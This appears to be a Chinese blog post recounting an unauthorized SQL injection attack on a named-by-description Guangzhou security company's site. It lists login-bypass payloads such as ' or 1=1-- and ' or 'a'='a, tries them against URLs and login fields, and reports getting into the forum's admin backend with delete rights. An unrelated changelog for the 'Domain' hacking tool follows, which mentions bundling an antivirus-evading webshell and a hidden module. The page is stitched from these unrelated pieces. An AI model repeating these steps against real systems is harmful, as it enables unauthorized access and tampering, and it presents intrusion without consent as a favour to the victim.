SQL注入渗透某网络安全公司的网站全过程

 

前言:写这篇文章不是为了告诉大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽运作上的一些小细节。
笔者一直都有经常性地到一些安全方面的网站瞎逛的习惯的,最近因为一次机缘巧合之下通过链接来到广州某个颇有名气的网络安全公司的网站。说实在的,这个网站好象挺多元化的,提供软件下载之余,还有自己的论坛(嘿嘿,界面做得还真不赖嘛,不知道安全性如何呢?)。出于对其安全操守的好奇,小神决定义务为其做个的初步的“安全渗透测试”。开始时只是拿一些综合性的网络漏洞扫描工具(X-scan3.0、Nmap、Retina等等)进行信息扫描,然后做个结果筛选,结果只查到对方开了TCP80端口(也就是说他们的服务器只提供了正常的HTTP服务),且无任何典型的漏洞....没戏了,对方毕竟还是一间有些知名度的企业嘛(因为这篇文章的重点并不在此,所以用网络漏洞扫描器作信息扫描这个步骤我就不在这里多作说明了)。就这样放弃了吗?没那么容易...恰好小神最近在整理SQL Injection(SQL注入攻击)方面的资料,既然现在有机会就再“勉为其难”地帮它测试一下吧:P
------------------------------------------------------------------------------------------
提示:
问:什么是SQL注入?
答:这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。

SQL注入技术的更多相关信息请看:
http://demonalex.nease.net/sql_injection/walkthrough.txt
------------------------------------------------------------------------------------------
首先是下载系统,随便抽一个工具的下载地址:
http://该安全公司的网址/某目录/download/open.asp?id=3444
------------------------------------------------------------------------------------------
附录:这里笔者用中文代替了某些敏感信息,还请各位见谅哦。
------------------------------------------------------------------------------------------
http://该安全公司的网址/某目录/download/open.asp?id=3444'
先测试一下对方有没有过滤'(单引号)...

 

示:
问:如何确认一个网站有SQL注入缺陷呢?
答:首先先加入某些特殊的字符标记,输入如:
hi' or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.htm?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分的值,如:
〈FORM action=http://duck/Search/search.asp method=post〉
〈input type=hidden name=A value="hi' or 1=1--"〉
〈/FORM〉
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。
------------------------------------------------------------------------------------------
再试试下面的url,看看能否返回正常的页面...
http://该安全公司的网址/某目录/download/open.asp?id=3444"
http://该安全公司的网址/某目录/download/open.asp?id=3444' or 1=1--
http://该安全公司的网址/某目录/download/open.asp?id=3444" or 1=1--
http://该安全公司的网址/某目录/download/open.asp?id=3444' or 'a'='a
http://该安全公司的网址/某目录/download/open.asp?id=3444" or "a"="a
------------------------------------------------------------------------------------------
提示:
问:为什么要特意使用' or 1=1--来做测试呢?
答:让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.htm?category=food
在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory='food'
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果我们把该URL改成这样的话:
http://duck/index.htm?category=food' or 1=1--
现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,那条SQL请求将会是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
' or 'a'='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
------------------------------------------------------------------------------------------
都是返回“HTTP 500 - 内部服务器错误”,看来是又失败了,不怕,我们还有希望...此时的希望只能全部寄托在论坛上了...

循序渐进,首先找来一条帖子的url(这一步笔者挑了:http://该安全公司的网址/论坛目录/list.asp?ltid=14这条URL)重复刚刚的行为:
http://该安全公司的网址/论坛目录/list.asp?ltid=14'
http://该安全公司的网址/论坛目录/list.asp?ltid=14"
http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 1=1--
http://该安全公司的网址/论坛目录/list.asp?ltid=14" or 1=1--
http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 'a'='a
http://该安全公司的网址/论坛目录/list.asp?ltid=14" or "a"="a
不过看来还是在吃白果...(如下图所示)

除了地址栏,不要忘了还有论坛首页的登陆框:

在“用户名:”区域中输入:
网***' or 1=1--
然后在“密码:”区域中随便输入几个密码看看吧:P
------------------------------------------------------------------------------------------
附录:“网***”为我们在论坛首页中看到的那个版主帐号。
------------------------------------------------------------------------------------------

还是不行,试试在密码区域进行注入攻击吧...具体操作:
在“用户名:”中输入:
“网***”
然后在“密码:”中输入:
' or 1=1--
(提交后得到下图)

fail...再用:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
切换了几次,还是不行,看来真的是“坚不可摧”了...
“风继续吹,不忍远离...”小神的MP3里哼着‘哥哥’张国荣的歌,难道就这样离开吗?到论坛的首
页里再逛一圈吧....一扫眼,还真道灵光,注意一下论坛登陆区域上方的小链接,看到了吧?第三条
链接是什么呢?

单击后跳出如下图所示的登陆窗口:

首先在“论坛:”这一拦选中相应的版面(这里笔者挑了第一个版面“安全工具”),然后再重新尝试一下:
帐号: 网***' or 1=1--
密码: 任意密码

不行,再试试:
帐号: 网***
密码: ' or 1=1--
......
......
小神的手颤了一下,只因“有颜色的界面”出来了:

开始时以为是假象,连忙点击“进入后台>>>”...

这次看来是真的了,点击其中一条帖子再测试一下:

(看到了吧?有“删除”按钮了也...其实我们可以做的还不只这些...PS:小神可是个好孩子哦^_^)
写到这里,也算是有个交代了吧?!^@@^
整篇文章的主旨也不过就是介绍了如何简单地利用SQL注入攻击渗透论坛吧,其实现在再谈SQL注
入也是老生常谈了,但想不到连知名的网络安全公司也有这样的漏洞,归根结底就是人们对安全意识
的不重视而引起的,这篇文章告诉了我们:不要忽视运作中的一些小细节。

Domain4.3(明小子)10.10.10更新版主要更新内容如下: 1.驱除部分死连接,恢复部分官方连接 2.改变默认显示页面为本人BLOG 3.修正程序在检测时出错的BUG 4.修正程序在部分系统中无法启动的BUG 5.加了一个功能模块,但还不成熟,隐藏了,高手的话可以用OD调出来!>!< 6.修复前段时间一些朋友反映的错误和程序宏 7.增加四款SKN皮肤! 10.10.11紧急更新: 1.修正新版程序在部分系统中启动后直接导致系统蓝屏的BUG 2.修正域名查询的几个错误 3.修正程序批量检测查询到域名的时候无反映的BUG! Domain4.2(明小子)10.01.16更新版主要更新内容如下: 1.删除所有无关数据 2.优化急速代码 3.改变启动线程 4.增加SQL数据批量导出功能 5.加入几个优化进程模块,非后门.后台运行. 6.锁定主程序栏目宽和高,不在恢复 7.删除“辅助工具”模块中全部代码 8.修正XP SP3 程序下兼容问题 9.重新改写域名查询旁站线程 程序于2018年01月16号调试完毕! 提别提示:第4个功能只能运行在完整版的windows XP 平台系统中,其他平台无法运行,如果出现恢复按钮并不能保存请自行调试与本程序无关.谢谢合作! 宝宝的话:有朋友们的鼓励才会有这个版本的发布,这当是我送给大家2010年里的第一个礼物吧。 Domain4.1(明小子)0901更新版主要更新内容如下: 1.增加新系统兼容模块,全面兼容2000-2008各系统 (部分精简版系统除外) 2.优化网站打开速度,删减部分无用内核信息,全面加快程序启动速度. 3.基于09.05.20号内核提升,改变搜查循环的一个死BUG! 4.删除在0520上增加的一个补针函数,并使用新的函数替换.保证不报错. 5.不在兼容xpsp3,因为没时间去修正这个错误。所以可能部分SP3系统运行不起来本程序 6.增加部分程序扩充空格代码,为下个版本更新做好铺垫 小提示:保留旧的IP反查连接系统,原因没有找到新的和稳定的IP反差服务器!如果有能提供的请与本人联系!谢谢合作 Domain4.1(明小子)0520更新版主要更新内容如下: 1.基于08.10.01号内核提升,修正一次关键错误。 2.替换原程序自带的那个小马,该为最新美化免杀版的小马! 3.添加一个服务器挂钩程序(非插件),使修改后的新内核兼容vista系统。 4.程序数据库默认名为:SetData.mdb 请大家使用3.5版本以上的MDB数据.其他低版本程序可能不兼容! 5.删除后台下载统计代码(以前没发现,本人也是从网站上面下的软件,排除作者自添加行为) 6.加了一个补针,针对sql注入功能中的一个小BUG。 7.删除了很多没有用的代码,最大限度的优化程序启动速度。 8.更新部分在xpsp3下出错的几个小BUG(小问题小解决,这个错误仅针对部分优化过度的XPSP3系统)。 提记:很多朋友说需要修改下程序IP域名查询功能,这里说明下.由于内核找不到关键句柄导致无法更新,下个版本在仔细看看! Domain4.0(明小子)1001更新版主要更新内容如下: 1.更新部分过度优化过的系统不兼容问题。 2.修改内存识别函数,使其降低软件在使用期间所占用的内存大小。 3.基于08.09.15号内核提升,修正因修改软件所出现的几个导致软件崩溃的几个BUG。 4.换了软件自带的那个垃圾皮肤。加入兼容美化皮肤!更美观! 5.兼容前版本数据库支持功能
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值